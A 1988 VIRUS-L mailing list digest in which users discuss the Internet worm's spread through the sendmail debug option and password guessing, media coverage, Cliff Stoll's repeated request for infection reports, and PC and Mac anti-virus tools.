(John Burton) zdee67oak.cc.kcl.ac.uuk
=========================================================================
Date:         Sun, 6 Nov 88 13:47:00 CDT
Reply-To:     Virus Discussion List <VIRUS-L@LEHIIBM1>
Sender:       Virus Discussion List <VIRUS-L@LEHIIBM1>
From:         Gordon Keegan <C145GMK@UTARLG>
Subject:      Getting Debrain.c

        For those who don't have access to a machine that can FTP
        the debrain.c source, I can send a copy to those who request
        it.  I can also send a uuencoded copy of the debrain.exe
        file if you can't compile the source.

                                        Gordon Keegan
                                        [e-mail]
                                        University of Texas, Arlington
=========================================================================
Date:         Sun, 6 Nov 88 17:42:00 EDT
Reply-To:     Virus Discussion List <VIRUS-L@LEHIIBM1>
Sender:       Virus Discussion List <VIRUS-L@LEHIIBM1>
From:         Savior faire is everywhere! <SSIRCAR@UMAECS>
Subject:      About the virus notices

Can we get a little organized around here?  I have just received two messages
containing the same article from RISK.  This is the second or third time this
happenned.  We should just designate one person to forward all messages from
RISK concerning the virus.

                                -Santanu Sircar-
=========================================================================
Date:         Sun, 6 Nov 88 14:46:51 PST
Reply-To:     Virus Discussion List <VIRUS-L@LEHIIBM1>
Sender:       Virus Discussion List <VIRUS-L@LEHIIBM1>
From:         James Robert Dishaw <2JDISHAW@POMONA>
Subject:      Can the UNIX virus (or worm) spread onto Janet...

It really depends on how Janet is set up and how accesible Janet is to
ARPANet.  From my basic understanding (since I haven't seen the source
code of the virus/worm), it could possibly happen.  The infection does
not seem to be entirely dependent upon the network, but rather on the
victim machine.  The virus/worm can infect two ways:  Guess a password for
a valid userid (in which it is network specific, because it would have
to remotely login) or use the debug hole in SMTP.  The second case is
pretty independent from the network.  My suggestion would be to make sure
that if you are using SMTP (or something similar) that the debug option
is OFF.  This might entail recompiling in order to set the debug option
off.
                                           -Bob
                                            Pomona Consultant
=========================================================================
Date:         Sun, 6 Nov 88 16:57:00 MST
Reply-To:     Virus Discussion List <VIRUS-L@LEHIIBM1>
Sender:       Virus Discussion List <VIRUS-L@LEHIIBM1>
From:         Bernie <BSWIESER@UNCAMULT>
In-Reply-To:  Message of 5 Nov 88 11:18 MST from "SSAT at PACEVM"

Can anyone mail me privately a copy of the UNIX sendmail manual?
=========================================================================
Date:         Sat, 5 Nov 88 18:22:28 CST
Reply-To:     Virus Discussion List <VIRUS-L@LEHIIBM1>
Sender:       Virus Discussion List <VIRUS-L@LEHIIBM1>
From:         James Ford <JFORD1@UA1VM>
Subject:      FTP and BITNET

>>For those of us new to this, how do i get a file from umd5.umd.edu
>>over Bitnet?

>You don't.

>* FLAME ON *
>Bitnet is utterly incapable of supporting FTP, due to someone's decision
>to ignore the well-established TCP/IP protocol way back when Bitnet was
>founded.  I'm sure there was a good reason for this at the time (probably
>money), but it makes us look like fools today and I'm sick and tired of it.
>* FLAME OFF *

I'm not sure that this is correct.  I have been FTPing files for quite a
while from SimTel20, CUHUG and other places, and this is a BITNET node.
Perhaps your system isn't capable........  If you are able, here is
some FTP-available locations.

                         James Ford
                         [e-mail]

------------------------------------------------------------------------
The following format is the same for all numbers on this list.

Name ------------ CUHUG BBS
Number.string --- 128.153.13.196
User id  -------- Anonymous
Password -------- guests

SimTel20
26.0.0.74
Anonymous
guests

UXE.CSO.UIUC.EDU
128.174.5.54
anonymous
guests

UDM.UND.EDU
128.8.10.5
anonymous
guests
=========================================================================
Date:         Sun, 6 Nov 88 22:54:00 EST
Reply-To:     Virus Discussion List <VIRUS-L@LEHIIBM1>
Sender:       Virus Discussion List <VIRUS-L@LEHIIBM1>
From:         Jim Shaffer <SHAFFERJ@BKNLVMS>
Subject:      re: FTP and BITNET

When I sent that message about being unable to FTP over Bitnet, I was
aware that there are some Bitnet sites that are also Internet sites, but
I forgot to mention it.

If your Bitnet machine isn't on the Internet also, it can't FTP.

Or have they started implementing TCP/IP over RSCS (as it's rumored that
they will someday), and not told me?  (This is unlikely, but I've learned
never to leave out any possibility.)

Jim

PS:  About TCP/IP over RSCS:  I heard a rumor to that effect back around
the beginning of the year, and I managed to get one or two people who I
believed were in a position to know to admit that it was "under study."
This is all they could tell me, and I've heard nothing since.  Anybody
out there heard anything?  (Note:  This was apparently NOT the "Cypress"
project that they were referring to.  Cypress is/was (I'm not sure on its
status) a proposal to provide NSFNet access from other networks like Bitnet
and CSNet.  Someone please correct me if I'm wrong, because I haven't heard
anything about it lately either.)

PPS:  Let's not keep this up on Virus-L, though.  If there's any substance
to the rumors, it belongs over on Future-L, which was where I was told
that the plans were once discussed.  For the time being, please mail
anything on the subject directly to me.
=========================================================================
Date:         Mon, 7 Nov 88 02:17:24 EST
Reply-To:     Virus Discussion List <VIRUS-L@LEHIIBM1>
Sender:       Virus Discussion List <VIRUS-L@LEHIIBM1>
From:         The Arb Gary Kremen <[e-mail]>
Subject:      Re: Getting Debrain.c
In-Reply-To:  Message from "Gordon Keegan <[e-mail]>" of Sun 6 No
              88 14:20:14-PST


-------
=========================================================================
Date:         Mon, 7 Nov 88 09:25:33 +0200
Reply-To:     Virus Discussion List <VIRUS-L@LEHIIBM1>
Sender:       Virus Discussion List <VIRUS-L@LEHIIBM1>
From:         Omer Zak <XLACHA1@WEIZMANN>
Subject:      The INTERNET/MILNET virus

Here are my 0.03NS (approx. $0.02) about defense against this virus (or
bacterium or worm, whatever it is) and similar virii in the future.

It is said that the British JANET is immune against this virus (not sure)
because it uses somewhat different protocols.  Also, IBM mainframes, CRAY,
and non-UNIX operating systems were spared from this virus, although in
principle a more sophisticated virus can be written to infect everything
(the idea of having it copy over a source program and compile it on the
target computer is VERY clever indeed).

The way to make it very difficult for this virus (and similar) to spread
even if it compiles source code in-situ is to make each link in each network
run a different protocol|  And make it impossible to guess what exact protocol
is being used in each link.  It may be a thing like changing the order of
fields in packets, different command names and the like.  Make it a bit
harder to port programs and shell scripts from one system to another, by
contriving some system-specific command names (users may be asked to run
an 'incoming translation' program on scripts which they accept from other
systems, before the scripts can be run on their own systems; the 'incoming
translation' program should have a different name in each system, and not
be easy to locate).  In short, make it difficult for a virus to figure out
how to send files to the next computer yet keep them alive.
                                                         --- Omer
"Be accessible to deaf persons via the phone.  Make sure you have a
Bell 103 compatible modem at your home."
=========================================================================
Date:         Mon, 7 Nov 88 08:10:20 EST
Reply-To:     Virus Discussion List <VIRUS-L@LEHIIBM1>
Sender:       Virus Discussion List <VIRUS-L@LEHIIBM1>
From:         Ken van Wyk <[e-mail]>
Subject:      administravia


First of all, I'd like to thank everyone who sent in useful information about
the recent Internet Virus.  I'd also like to point out, as someone mentioned,
that we did get a lot of duplication during the "storm".  In particular, the
RISKS digest articles were sent to the list at least 4 or 5 times!  That's
senseless and it only clogs peoples' mailboxes.  Also, messages like "how do I
get off of this list?" should be sent directly to me, the list owner.  Things
obviously got rather hectic on Friday and over the weekend; let's please try
to remain sane, even in circumstances like that.  Thanks in advance!

On another note, I'd like to hear (privately) from people who found that the
information on the Internet Virus that they received via VIRUS-L was useful in
containing the virus at their site(s).  It's primarily a personal interest
matter, and I'll summarize to the list after I've received some responses.
So, people who run BSD 4.3 machines that were infected by this virus, please
send me a one-liner (or whatever you want) just saying whether or not you
found the information on VIRUS-L useful.  Thanks.

Ken



Kenneth R. van Wyk                   Calvin: (hammer hammer hammer ...)
User Services Senior Consultant      Mom: Calvin, what are you DOING to the
Lehigh University Computing Center        coffee table?!
Internet: <[e-mail]> Calvin: Is this some sort of trick
BITNET:   <LUKEN@LEHIIBM1>                question?
=========================================================================
Date:         Mon, 7 Nov 88 09:21:53 EST
Reply-To:     Virus Discussion List <VIRUS-L@LEHIIBM1>
Sender:       Virus Discussion List <VIRUS-L@LEHIIBM1>
From:         "Kenneth R. van Wyk" <LUKEN@LEHIIBM1>
Subject:      Forwarded request for statistics on Internet Virus



     The following request was forwarded to me; please respond directly
     to the sender, Cliff Stoll <[e-mail]>:


Date:     Sun, 6 Nov 88 05:34:47 PST
From:     [e-mail] (Cliff Stoll)


 COLLECTING ARPANET VIRUS STORIES

I'm collecting information about the Nov 3 Arpanet virus,
trying to determine:
     > How many sites were infected
     > How many were not
     > How quickly it spread

SO:  If you were infected, please send me a note describing
your experiences.  Please include:
     > Where are you?  What type of computers?
     > What times were stamped on the /usr/tmp/x files?
     > Which of your computers were infected?  All of them?

Please send your anecdotes & stories, such as:
     >  What time did you discover it?
     >  What tipped you off?
     >  How did you and your colleagues respond?
     >  What would you differently?
     >  Did you call anyone?  Or did anyone call you?
     >  Where would you turn for information next time?
     >  When did you finally eradicate it?
     >  Any weird wrinkles or strange effects?

I'm interested in hearing from you even if you were not infected!

Please pass this message on to others:
I would rather have multiple responses from a site than none.

Thank you very much for your time & trouble.
In return, I'll mail summaries to everyone that contributes.
If you'd like a copy, please include your address.


Thank you very much for your time & troubles!

Cliff Stoll                Harvard/Smithsonian Center for Astrophysics
617/495-7147               60 Garden Street,  Cambridge, MA 02138
[e-mail]   ( or on bitnet,  Cliff@lbl )   [Nov 5, '88]

Kenneth R. van Wyk                   Calvin: (hammer hammer hammer ...)
User Services Senior Consultant      Mom: Calvin, what are you DOING to the
Lehigh University Computing Center        coffee table?!
Internet: <[e-mail]> Calvin: Is this some sort of trick
BITNET:   <LUKEN@LEHIIBM1>                question?
=========================================================================
Date:         Mon, 7 Nov 88 09:28:56 EST
Reply-To:     Virus Discussion List <VIRUS-L@LEHIIBM1>
Sender:       Virus Discussion List <VIRUS-L@LEHIIBM1>
From:         "Kenneth R. van Wyk" <LUKEN@LEHIIBM1>
Subject:      forwarded comments on Internet virus from W.H. Murray



Date:  Fri, 4 Nov 88 10:29 EST
From:  [e-mail]
Subject:  Unix Virus


The New York Times quotes an unidentified caller as saying "because the
designer did not understand how the network worked, it [the virus]
quickly copied itself thousands of times from machine to machine."

The sorceror's apprentice strikes again.

William Hugh Murray, Fellow, Information System Security, Ernst & Whinney
2000 National City Center Cleveland, Ohio 44114
21 Locust Avenue, Suite 2D, New Canaan, Connecticut 06840

Kenneth R. van Wyk                   Calvin: (hammer hammer hammer ...)
User Services Senior Consultant      Mom: Calvin, what are you DOING to the
Lehigh University Computing Center        coffee table?!
Internet: <[e-mail]> Calvin: Is this some sort of trick
BITNET:   <LUKEN@LEHIIBM1>                question?
=========================================================================
Date:         Mon, 7 Nov 88 07:34:00 EST
Reply-To:     Virus Discussion List <VIRUS-L@LEHIIBM1>
Sender:       Virus Discussion List <VIRUS-L@LEHIIBM1>
From:         "Joseph M. Beckman" <[e-mail]>


[0666] (42 lines) Stoll.CCS 11/06/88  0806.7 est Sun bb
Subject:  Re: Virus on the Arpanet

  *** PLEASE DISTRIBUTE THIS NOTE WIDELY   THANK YOU! ***REDISTRIBUTE THIS NOTE
 TO ANY PLACE YOU THINK BEST - THANX!***

 COLLECTING ARPANET VIRUS STORIES

I'm collecting information about the Nov 3 Arpanet virus, trying to
determine:
     > How many sites were infected
     > How many were not
     > How quickly it spread

SO:  If you were infected, please send me a note describing your
experiences.  Please include:
     > Where are you?  What type of computers? }i     > What times were
stamped on the /usr/tmp/x files?
     > Which of your computers were infected?  All of them?

Please send your anecdotes & stories, such as:
     >  What time did you discover it?
     >  What tipped you off?
     >  How did you and your colleagues respond?
     >  What would you differently?
     >  Did you call anyone?  Or did anyone call you?
     >  Where would you turn for information next time?
     >  When did you finally eradicate it?
     >  Any weird wrinkles or strange effects?

I'm interested in hearing from you even if you were not infected!

Please pass this message on to others: I would rather have multiple
responses from a site than none.

Thank you very much for your time & trouble. In return, I'll mail
summaries to everyone that contributes. If you'd like a copy, please
include your address.


Thank you very much for your time & troubles!

Cliff Stoll                Harvard/Smithsonian Center for Astrophysics
617/495-7147               60 Garden Street,  Cambridge, MA 02138 lbl )
[Nov 5, '88]
---[0666]--- (pref = [0665], nref = [0667])
=========================================================================
Date:         Mon, 7 Nov 88 14:51:10 GMT
Reply-To:     Virus Discussion List <VIRUS-L@LEHIIBM1>
Sender:       Virus Discussion List <VIRUS-L@LEHIIBM1>
From:         [e-mail]
Subject:      Networks

It seems the latest virus had trouble spreading across networks.
Can anyone out there explain to me what networks there are and how they
are connected. It seems there are many networks, many of which connect
the same sites together.
As this isn't strictly relevent, it maigh tbe better to directly mail me..

John Burton (King's College London)
[e-mail]

or possibly [e-mail]  (I'm never sure which it is )
=========================================================================
Date:         Mon, 7 Nov 88 10:02:00 EDT
Reply-To:     Virus Discussion List <VIRUS-L@LEHIIBM1>
Sender:       Virus Discussion List <VIRUS-L@LEHIIBM1>
Comments:     Warning -- RSCS tag indicates an origin of SMTPUSER@OBERLIN
From:         "$CAROL@OBERLIN (BITNET)" <$CAROL@OBERLIN>
Subject:      Trojan vote counting?

The 11/7 issue of The NEW YORKER carries an article, "Counting Votes," about
the lack of safeguards in such election equipment as the Votomatic system.
The potential for dastardly deeds of the kind VIRUS-L discusses seems immense.

        |  Carol Conti-Entin   [phone]
        |  $carol@oberlin   -or-   pconti@oberlin  (BITNET)
        |  Academic Computing Consultant
        |  Houck Computing Center
        |  Oberlin College
        |  Oberlin, OH  44074
=========================================================================
Date:         Mon, 7 Nov 88 10:51:24 EST
Reply-To:     Virus Discussion List <VIRUS-L@LEHIIBM1>
Sender:       Virus Discussion List <VIRUS-L@LEHIIBM1>
From:         "Kenneth R. van Wyk" <LUKEN@LEHIIBM1>
Subject:      forwarded comments on media coverage from J.D. Abolins


The following are some remarks from J.D. Abolins regarding the media
coverage of the Internet Virus:


Quick glimpses of media handling of the ARPNET case....

I first heard about the ARPNET case through a Cable News Network
television story about the case last Thursday night. The story was
some vague and appeared quite incomplete.It mentioned that a "virus"
had affected a computer network linking academic and govenment computer
centers accross the United States. No mention was made ofthe specific
network. Nor was there a clear explanation of exactly what kinds of
computers were affected. THe film footage kept on going back to a
CRAY supercomputer array. In short, the main thing that could be
derived form the sory was that something had happened to amy computer
systems, tying them up. The rest was obscurred, mostly due to the
reporters' lack of knowledge about the computer viruses and computers
in general.

The next report I heard was from CBS News Radio. This report had
more details, but still sketchy.

Then, I read the Friday New York Times article by John Markoff.
While the article did not clarify how much of the actual problems
were caused by the problem program acting like a virus and how
much was caused by it acting as a bactrium, it was a well detailed
report.(I've seen it reprinted on RISKS DIGEST. Since I have not
gotten my last week's VIRUS-L LOG, I don't know if the reprint got
to VIRUS-L.)

I am still going through the flurry of reports and articles about the
case that have appeared over the past few days. But here are a couple
of other items that have appaered lately.

On the NBC comedy program Saturday Night Live, Dennis Miller, the
anchorman for a TV news parody, commented about computer viruses to
the effect, "Remember, when you are uplinking to another computer,
you are uplinking to every computer that the other computer has uplinked
to." (Analogy to comments made about AIDS.)

This morning, NBC's TODAY news sfeature show had a segment on the
ARPNET case. The program interviewed John McAfee of the Computer
Virus Association in a television link to San Francisco, Calif.
Mr. AcFee estimated the losses to the case to be about $20 million
spent in manhours to clean-up the affected systems. He said that
if the virushad destroyed data, the damages would have been in the
billions of dollars. The Computer Virus Association claims that it
has counted 300 virus cases. During the interview, Mr. McAfee
explained that the the "virus" was not originally intended to be
harmfull. Rather, it was intended to travel slowly through the
network leaving its copies as "flags" attesting to the program's
spread. But a programming error resulted in the rapid replication
that clogged the computer resources. When asked if there were any
absolute safeguards against viruses, Mr. McAfee replied that while
known cases can be effectively countered, the development of new
"viruses" preclude an absolute, 100% protection scheme.

Kenneth R. van Wyk                   Calvin: (hammer hammer hammer ...)
User Services Senior Consultant      Mom: Calvin, what are you DOING to the
Lehigh University Computing Center        coffee table?!
Internet: <[e-mail]> Calvin: Is this some sort of trick
BITNET:   <LUKEN@LEHIIBM1>                question?
=========================================================================
Date:         Mon, 7 Nov 88 07:34:00 EST
Reply-To:     Virus Discussion List <VIRUS-L@LEHIIBM1>
Sender:       Virus Discussion List <VIRUS-L@LEHIIBM1>
From:         "Joseph M. Beckman" <[e-mail]>


[0666] (42 lines) Stoll.CCS 11/06/88  0806.7 est Sun bb
Subject:  Re: Virus on the Arpanet

  *** PLEASE DISTRIBUTE THIS NOTE WIDELY   THANK YOU! ***REDISTRIBUTE THIS NOTE
 TO ANY PLACE YOU THINK BEST - THANX!***

 COLLECTING ARPANET VIRUS STORIES

I'm collecting information about the Nov 3 Arpanet virus, trying to
determine:
     > How many sites were infected
     > How many were not
     > How quickly it spread

SO:  If you were infected, please send me a note describing your
experiences.  Please include:
     > Where are you?  What type of computers? }i     > What times were
stamped on the /usr/tmp/x files?
     > Which of your computers were infected?  All of them?

Please send your anecdotes & stories, such as:
     >  What time did you discover it?
     >  What tipped you off?
     >  How did you and your colleagues respond?
     >  What would you differently?
     >  Did you call anyone?  Or did anyone call you?
     >  Where would you turn for information next time?
     >  When did you finally eradicate it?
     >  Any weird wrinkles or strange effects?

I'm interested in hearing from you even if you were not infected!

Please pass this message on to others: I would rather have multiple
responses from a site than none.

Thank you very much for your time & trouble. In return, I'll mail
summaries to everyone that contributes. If you'd like a copy, please
include your address.


Thank you very much for your time & troubles!

Cliff Stoll                Harvard/Smithsonian Center for Astrophysics
617/495-7147               60 Garden Street,  Cambridge, MA 02138 lbl )
[Nov 5, '88]
---[0666]--- (pref = [0665], nref = [0667])
=========================================================================
Date:         Mon, 7 Nov 88 14:07:21 EST
Reply-To:     Virus Discussion List <VIRUS-L@LEHIIBM1>
Sender:       Virus Discussion List <VIRUS-L@LEHIIBM1>
From:         Joe Sieczkowski <[e-mail]>
Subject:      Who is


Who is the Computer Virus Association and who are they affiliated
with.  Are they just some private group?

Joe
=========================================================================
Date:         Mon, 7 Nov 88 16:24:45 EST
Reply-To:     Virus Discussion List <VIRUS-L@LEHIIBM1>
Sender:       Virus Discussion List <VIRUS-L@LEHIIBM1>
From:         OJA@NCCIBM1

Quick correction: In my previous message, I rendered the network
that was affected by a "virus" as ARPNET. It should be read as
ARPANET. The ARPA comes from the abbreviation for
Defense Advanced Research Projects Agency. (The "D" for Defense is
not used.)

As for the question about the Computer Virus Association, I myself
am trying to find out more about it. It seems to be an association
for developers of anti-viral software. From what I saw this
morning,John McAfee is considered as one of its spokespeople.
=========================================================================
Date:         Mon, 7 Nov 88 17:59:00 EST
Reply-To:     Virus Discussion List <VIRUS-L@LEHIIBM1>
Sender:       Virus Discussion List <VIRUS-L@LEHIIBM1>
From:         Dimitri Vulis <DLV@CUNYVMS1>
Subject:      Computer Virus Association


MIS week, vol 9, no 35 (aug 29 this year) had a first-page feature blasting
the Computer Virus Industry Association and its leader John McAfee.
(the later also runs the National Bulletin Board Society)
There was also some negative stuff in PC WEEK.
The article is pretty long; if there is sufficient interest, I'll key
in a digest.
By the way, this coming Friday I'm giving a talk in class about computer viri;
are there any suggestions as to what I should say?
-Dimitri
=========================================================================
Date:         Mon, 7 Nov 88 18:51:24 GMT
Reply-To:     Virus Discussion List <VIRUS-L@LEHIIBM1>
Sender:       Virus Discussion List <VIRUS-L@LEHIIBM1>
From:         [e-mail]
Subject:      RETRIBUTION OR REDISTRIBUTION EVEN

From:    Virus Discussion List <[e-mail]1>  7-NOV-1988 18:39
To:    ZDEE731
Subj:


Received: from UKACRL by UK.AC.RL.IB (Mailer X1.25) with BSMTP id 5375; Mon, 07
          Nov 88 18:18:58 GM
Received: by UKACRL (Mailer X1.25) id 6488; Mon, 07 Nov 88 18:18:56 GMT
Date:     Mon, 7 Nov 88 07:34:00 EST
Reply-To: Virus Discussion List <[e-mail]1>
Sender:   Virus Discussion List <[e-mail]1>
From:     "Joseph M. Beckman" <[e-mail]>
To:       Bob Jolly <[e-mail]>


[0666] (42 lines) Stoll.CCS 11/06/88  0806.7 est Sun bb
Subject:  Re: Virus on the Arpanet

  *** PLEASE DISTRIBUTE THIS NOTE WIDELY   THANK YOU! ***REDISTRIBUTE THIS NOTE
 TO ANY PLACE YOU THINK BEST - THANX!***

 COLLECTING ARPANET VIRUS STORIES

I'm collecting information about the Nov 3 Arpanet virus, trying to
determine:
     > How many sites were infected
     > How many were not
     > How quickly it spread

SO:  If you were infected, please send me a note describing your
experiences.  Please include:
     > Where are you?  What type of computers? i     > What times were
stamped on the /usr/tmp/x files?
     > Which of your computers were infected?  All of them?

Please send your anecdotes & stories, such as:
     >  What time did you discover it?
     >  What tipped you off?
     >  How did you and your colleagues respond?
     >  What would you differently?
     >  Did you call anyone?  Or did anyone call you?
     >  Where would you turn for information next time?
     >  When did you finally eradicate it?
     >  Any weird wrinkles or strange effects?

I'm interested in hearing from you even if you were not infected!

Please pass this message on to others: I would rather have multiple
responses from a site than none.

Thank you very much for your time & trouble. In return, I'll mail
summaries to everyone that contributes. If you'd like a copy, please
include your address.


Thank you very much for your time & troubles!

Cliff Stoll                Harvard/Smithsonian Center for Astrophysics
617/495-7147               60 Garden Street,  Cambridge, MA 02138 lbl )
[Nov 5, '88]
---[0666]--- (pref = [0665], nref = [0667])
=========================================================================
Date:         Mon, 7 Nov 88 16:07:53 PST
Reply-To:     Virus Discussion List <VIRUS-L@LEHIIBM1>
Sender:       Virus Discussion List <VIRUS-L@LEHIIBM1>
From:         Sam Cropsey <SAM@POMONA>
Subject:      nVIR virus

We recently had an attack of the nVIR virus and I need more info about it.
I read an article by Mike Scanlin in MacTutor that was very helpful.  However
the article failed to mention what to do if the virus settled in a desk acceso
y or in the Finder.  If anyone has more info, please let me know.
Thank you...
=========================================================================
Date:         Mon, 7 Nov 88 15:41:00 MST
Reply-To:     Virus Discussion List <VIRUS-L@LEHIIBM1>
Sender:       Virus Discussion List <VIRUS-L@LEHIIBM1>
From:         LYPOWY@UNCAMULT
Subject:      Re: CHECKUP 1.8
In-Reply-To:  Message of 4 Nov 88 07:08 MST from "David A. Bader"

    Date:  4 November 1988 07:08 mst
    From:  David A. Bader <DAB3 at LEHIGH>
    Subject:  CHECKUP 1.8

    A number of people have sent me flames because I did not specify what
    machine I was working with when I mentioned Checkup 1.8.. I apologize,
    it is written for an IBM Microcomputer type system.
       -David Bader
       DAB3@LEHIGH


David, is this program PD or commercial??

                              Greg.
=========================================================================
Date:         Mon, 7 Nov 88 20:08:37 EST
Reply-To:     Virus Discussion List <VIRUS-L@LEHIIBM1>
Sender:       Virus Discussion List <VIRUS-L@LEHIIBM1>
From:         "David A. Bader" <DAB3@LEHIGH>
Subject:      CHECKUP 1.8 for the IBM

>From:         LYPOWY@UNCAMULT
>Subject:      Re: CHECKUP 1.8
>To:           "David A. Bader" <DAB3@LEHIGH>
>In-Reply-To:  Message of 4 Nov 88 07:08 MST from "David A. Bader"
>
>    Date:  4 November 1988 07:08 mst
>    From:  David A. Bader <DAB3 at LEHIGH>
>    Subject:  CHECKUP 1.8
>
>   A number of people have sent me flames because I did not specify what
>   machine I was working with when I mentioned Checkup 1.8.. I apologize,
>   it is written for an IBM Microcomputer type system.
>      -David Bader
>      DAB3@LEHIGH
>
>
>David, is this program PD or commercial??
>
>                             Greg.

Greg,
It is a PD program (am not sure about whether or not it is "Shareware"
, "Freeware", or something unique like that; but you do not need to
spend money initially to acquire it.)
       -David Bader
       DAB3@LEHIGH
=========================================================================
Date:         Mon, 7 Nov 88 09:16:53 EST
Reply-To:     Virus Discussion List <VIRUS-L@LEHIIBM1>
Sender:       Virus Discussion List <VIRUS-L@LEHIIBM1>
From:         Ben Chi <BEC@ALBNYVM1>
Subject:      Please!

What's all this about virii?  "Virii" is the plural of "virius."  If you
mean more than one virus, try "viruses" or, if you must, "viri."

On the other hand, we could let

              virii = 2 viruses
             viriii = 3 viruses
              viriv = 4 viruses
               virv = 5 viruses
                      etc.
=========================================================================
Date:         Mon, 7 Nov 88 14:11:16 CST
Reply-To:     Virus Discussion List <VIRUS-L@LEHIIBM1>
Sender:       Virus Discussion List <VIRUS-L@LEHIIBM1>
From:         C397739@UMCVMB

just a side note (ha ha oh well) on this virus from
this weekend..

an astute  friend of mine said that he couldnt beleive the dude who
wrote the virus allowed himself to be caught, which makes sense to me.

if they get evidence on the person, it must surely be a frame job, right?